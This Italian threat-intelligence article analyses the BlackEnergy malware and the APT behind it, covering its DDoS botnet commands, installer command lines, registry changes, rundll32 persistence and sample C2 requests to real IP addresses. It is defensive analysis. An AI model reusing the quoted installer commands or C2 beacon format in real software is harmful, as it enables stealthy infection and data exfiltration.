Il nome BlackEnergy è quello di un malware modulare creato negli anni duemila dall’hacker conosciuto come Cr4sh e venduto per circa 700 dollari nel 2007. A partire da quell’anno, diversi attori criminali hanno iniziato ad utilizzare BlackEnergy e a svilupparlo ulteriormente.
Il malware è stato utilizzato, ad esempio, nel 2008 per portare a termine una serie di attacchi DDoS contro network georgiani. Dal 2014 in poi, BlackEnergy è stato invece utilizzato principalmente per attaccare sistemi ICS e SCADA, in particolare dell’industria energetica.
Dal 2015 in poi gli attacchi contro i sistemi industriali dell’Ucraina si sono fatti sempre più frequenti.
Per comodità, la maggior parte dei ricercatori raggruppa tutti gli attori malevoli che utilizzano questo malware e le sue nuove varianti, nell’APT chiamata, per l’appunto, BlackEnergy.
Sebbene non esista un’attribuzione geografica certa, le scelte degli obiettivi da parte di questa APT fanno presumere l’appartenenza a gruppi russi o filorussi.
Alcuni accademici e ricercatori di security firm fanno riferimento ai gruppi SandStorm e Voodoo Bear.
Indice degli argomenti
BlackEnergy: l’evoluzione
Il malware BlackEnergy si è evoluto nel corso degli anni. Possiamo definire tre principali versioni, iniziando dalle due più vecchie. La più recente, invece, la guarderemo nel dettaglio più avanti, parlando di una serie di attacchi più specifici.
BlackEnergy DDoS Bot
Il primo BlackEnergy non è altro che un bot http-based utilizzato per effettuare attacchi DDoS.
L’attore malevolo di turno può utilizzare un semplice builder per generare un eseguibile da distribuire alle vittime attraverso spam ed e-mail di phishing.
Nelle immagini che seguono possiamo vedere due interfacce del builder in differenti versioni, la 1.7 e la 1.9.2.
Vengono create una tabella opt contenente tutte le informazioni di attacco e una tabella stat che contiene informazioni generiche sulla botnet.
- auth.php: l’autenticazione, alquanto spartana al server C2;
- config.php: un file di configurazione del bot, conteneva alcuni setting base come l’utente e la password per utilizzare MySQL, ad esempio;
- index.php: il cuore della C2 della botnet. Qui il gestore della botnet può avere statistiche aggiornate sulla rete, inviare comandi specifici (vedi sotto) e gestire le opzioni di attacco principali (dallo spoofing degli IP alle opzioni SYN e ICMP più avanzate).
I comandi a disposizione sulla botnet sono i seguenti:
- flood: inizia il flood/l’attacco DDoS (ICMP, SYN, TCP/UDP, HTTP);
- stop: ferma l’attacco;
- die: disinstalla il bot dai computer delle vittime;
- wait: i computer infettati rimangono in attesa di comandi ulteriori dal server C2.
Da sottolineare che i comandi vengono inviati con richieste HTTP POST con payload encodati in Base64 seguendo questo formato:
icmp_freq;icmp_size;syn_freq;spoof_ip;attack_mode;max_sessions;http_freq;http_threads;tcpudp_freq;udp_size;tcp_size#cmd#ufreq#bot_id
Per esempio il comando:
10;2000;10;0;0;30;100;3;20;1000;2000#wait#1#BOTID
viene inviato come:
MTA7MjAwMDsxMDswOzA7MzA7MTAwOzM7MjA7MTAwMDsyMDAwI3dhaXQjMSNCT1RJRAo=
BlackEnergy 2
Questa versione del malware è stata diffusa principalmente attraverso e-mail di phishing e spear phishing contenenti il malware installer.
Questo, una volta eseguito dalle vittime, installa il driver di un device e un annesso servizio di Windows.
/c “ping localhost -n 8 & move /Y “%windir%/<random driver name>” “%windir%/System32/drivers/<random driver name>.sys”
Dopo aver fatto questo, l’installer si chiude:
/s /c “for /L %i in (1,1,100) do (del /F “%USERPROFILE%/Desktop/<installer filename>” & ping localhost -n 2 & if not exist ” %USERPROFILE%/Desktop/<installer filename>” Exit 1)”
Queste entry vengono create nel registro di windows durante il processo:
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Control
- HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Control
- HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/NextInstance: 0x00000001
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Service: “ACPIEC”
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Legacy: 0x00000001
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/ConfigFlags: 0x00000000
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Class: “LegacyDriver”
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/DeviceDesc: “ACPIEC”
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Capabilities: 0x00000000
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Control/*NewlyCreated*: 0x00000000
- HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Control/ActiveService: “ACPIEC”
- HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum/0: “Root/LEGACY_ACPIEC/0000”
- HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum/Count: 0x00000001
- HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum/NextInstance: 0x00000001
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/NextInstance: 0x00000001
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Service: “ACPIEC”
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Legacy: 0x00000001
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/ConfigFlags: 0x00000000
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Class: “LegacyDriver”
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/DeviceDesc: “ACPIEC”
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Capabilities: 0x00000000
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Control/*NewlyCreated*: 0x00000000
- HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Control/ActiveService: “ACPIEC”
- HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum/0: “Root/LEGACY_ACPIEC/0000”
- HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum/Count: 0x00000001
- HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum/NextInstance: 0x00000001
Il risultato di questa operazione è quindi l’installazione di un driver legacy, all’insaputa dell’utente, i cui servizi iniettano codice nel processo %WINDIR%/system32/svchost.exe, aprendo di fatto la backdoor che si mette subito in ascolto, su un set di porte predefinito, in attesa di comandi dal server C2.
BlackEnergy 3 e l’attacco ucraino
A partire già da fine 2014 l’APT BlackEnergy inizia a utilizzare la terza evoluzione dell’omonimo malware per colpire in particolare sistemi ICS/SCADA, con una particolare concentrazione verso l’Ucraina.
Vettori d’attacco
I principali vettori di questi attacchi sono e-mail di phishing e spear phishing contenenti documenti Office – specialmente Excel – con annesse VBA macro.
Vengono utilizzati principalmente falsi mittenti, alle volte i documenti sembrano provenire da finanziarie note, o da partiti politici (come “Pravii Sektor”, partito nazionalista ucraino) o da uffici governativi, come il “Prosecutor General’s Office of Ukraine”.
Installazione del Malware
La macro VBA contiene del codice offuscato in array di numeri interi in formato decimale.
Quando la macro viene eseguita, il codice viene deoffuscato, i valor hex salvati in %TMP%/vba_macro.exe, che una volta eseguito lascerà il payload finale sotto forma di libreria DLL nel percorso: %LOCALAPPDATA%/FONTCACHE.DAT.
Questa DLL verrà quindi richiamata con il comando:
rundll32.exe “%LOCALAPPDATA%/FONTCACHE.DAT”,#1
Sistemi di protezione e persistenza del malware
Questo malware si protegge in diversi modi.
- la macro VBA è offuscata, come abbiamo visto sopra;
- sia il malware dropper (vba_macro.exe) sia il payload vero e proprio (fontcache.dat) sono Portable Executable File, i cui contenuti sono criptati e decriptati a runtime.
Il malware è persistente, crea un file LNK nella cartella di startup di windows in modo che il comando rundll32.exe “%LOCALAPPDATA%/FONTCACHE.DAT”,#1 venga eseguito ad ogni reboot/startup del sistema.
Chiamate sul network
Una volta installato, il malware comunica col suo server C2.
Qui sotto un esempio di chiamata:
POST /Microsoft/Update/KC074913.php HTTP/1.1
Accept: */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: 5.149.254.114
Content-Length: 143
Connection: Keep-Alive
body=Yl9pZD1URVFVSUxBQk9PTUJPT01fODUwQjEzNTgwOUM5MThFMURFQzI2M0I2QTI3OTdBNzAmYl9nZW49cmVsZWFzZSZiX 3Zlcj0yLjImb3Nfdj0yNjAwJm9zX3R5cGU9 MA==
dove il body contiene, base64 encoded, queste info su bot e OS, ad esempio:
b_id=TEQUILABOOMBOOM_850B135809C918E1DEC263B6A2797A70&b_gen=release&b_ver=2.2&os_v=2600&os_type=0
Alcune varianti di questa versione del malware sono in grado di utilizzare HTTP CONNECT tunneling per passare da proxy:
CONNECT 5.79.80.166:443 HTTP/1.0
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: 5.79.80.166:443
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache
Conclusioni
BlackEnergy è una APT ed un avversario altamente dinamico che utilizza l’omonimo tool per attaccare il particolare:
- ICS, compagnie energetiche e strutture governative in Ucraina;
- sistemi ICS/SCADA nel mondo;
- compagnie energetiche nel mondo.
Se si opera in questi ambiti è bene tenere presente questa minaccia nel threat landscape che si deve affrontare.
Kaspersky, FireEye e diversi ricercatori accademici hanno tracciato l’attività ininterrotta di questa APT fin dal giugno 2014.